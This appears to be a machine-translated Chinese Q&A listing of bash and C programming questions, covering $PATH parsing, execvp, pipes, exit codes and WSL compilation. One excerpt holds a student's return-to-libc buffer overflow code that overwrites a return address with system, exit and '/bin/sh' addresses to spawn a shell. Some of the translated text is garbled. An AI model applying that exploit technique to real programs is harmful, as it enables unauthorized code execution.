Tag: bash

解析$ PATH变量并将目录名保存到字符串数组中

我想解析Linux的$ PATH变量,然后将用’:’分隔的目录名保存到字符串数组中。 我知道这是一个简单的任务,但我被困住了,任何帮助都会很好。 到目前为止我的代码是这样的,但有些东西是不对的。 char **array; char *path_string; char *path_var = getenv(“PATH”); int size_of_path_var = strlen(path_var); path_string = strtok(path_var, “:”); while (path_string != NULL) { ss = strlen(path_string) array[i] = (char *)malloc(ss + 1); array[i] = path_string; //this is actually all i want to do for every path i++; path_string = strtok(NULL, “:”); }

返回lib_c缓冲区溢出运行问题

我应该想出一个利用“返回libc缓冲区溢出”的程序。 执行时,它会干净地退出并显示SHELL提示符。 该程序在bash终端中执行。 以下是我的C代码: #include int main(int argc, char*argv[]){ char buffer[7]; char buf[42]; int i = 0; while(i < 28) { buf[i] = 'a'; i = i + 1; } *(int *)&buf[28] = 0x4c4ab0; *(int *)&buf[32] = 0x4ba520; *(int *)&buf[36] = 0xbfffff13; strcpy(buffer, buf); return 0; } 使用gdb ,我已经能够确定以下内容: “system”的地址:0x4c4ab0 “退出”的地址:0x4ba520 字符串“/ bin / sh”驻留在内存中:0xbfffff13 […]

如何从bash为C程序提供输入?

我一直在读大量关于bash脚本和程序测试但我仍然无法使这段代码工作。 基本上它是一个简单的程序,要求用户向east或west 。 我启动程序然后它立即要求输入。 我只是不能让bash脚本给它任何输入。 我尝试使用echo并expect 。 任何帮助表示赞赏。 以下是用于获取玩家输入的函数: int process_input(Map *game) { printf(“\n> “); char ch = getchar(); char a = getchar(); //eat enter int damage = rand() % 4; switch(ch) { case -1: printf(“you suck\n”); return 0; break; case ‘n’: game->proto.move(game, NORTH); break; case ‘s’: game->_(move)(game, SOUTH); break; case ‘e’: game->_(move)(game, EAST); break; […]

将两个命令与管道组合在一起

我试图在一个(不存在的)命令中“合并”两个命令并管道它。我的意思是..假设你有这两个命令: grep text out.txt grep text out.txt ,可以表示这两个命令的(不存在)命令可能类似于(grepwc -l < file.txt) ,然后将行数输出到out.txt中。 基本上这些(grepwc)命令应该与grep text out.txt具有相同的行为 grep text out.txt但更短。 我尝试过这样的事情,但我认为我的方法远远不能实现目标。 我使用名为commlist的结构,其中包含已由cmd,argc和argv解析的命令。 inputfile和outputfile是open()上使用的文件的路径名。 我正在使用的结构。 typedef struct command { char *cmd; int argc; char *argv[MAXARGS+1]; struct command *next; } COMMAND; 和代码: void execute(COMMAND *commlist) { int fd[2]; pid_t pid; int n_pipes=2; //pipes needed COMMAND *aux = commlist; int […]

C – 使用Execvp执行Bash命令

我想编写一个程序Shellcode.c,它在输入中接受一个文本文件,其中包含由换行符分隔的bash命令,并执行文本文件中的每个命令:例如,文本文件将包含: echo Hello World mkdir goofy ls 我试过这个(只是开始练习一个exec函数): #include #include void main() { char *name[3]; name[0] = “echo”; name[1] = “Hello World”; name[2] = NULL; execvp(“/bin/sh”, name); } 作为回报,我得到了 echo: Can’t open Hello World 我坚持使用execvp函数,哪里出错了?

如何使用带有Linux子系统的GCC编译Windows的可执行文件?

Windows 10周年更新包括适用于Ubuntu的Linux子系统。 我用sudo apt-get install gcc 。 我为测试目的写了一些简单的C代码: #include int main(void){ printf(“Hello\n”); return 0; } 并使用gcc -c main.c编译它,但生成了execute(仅限Linux) main.o 。 如果我运行它./main.o ,它会显示Hello 。 我的问题是,如何编译main.c以便Windows可以运行它? 基本上,如何在Linux子系统中使用GCC生成*.exe文件?

Linux / bash中程序返回值的有效范围是多少?

我有一个C程序,它返回一个整数值。 我很惊讶地发现,当从shell提示符检查返回值时,我得到的值为模数256。 /* prog.c */ int main(…) { return 257; } – > ./prog.e > echo $? 1 为什么我看不到整数? 这种行为记录在哪里? 如何将整个32位值获取到shell?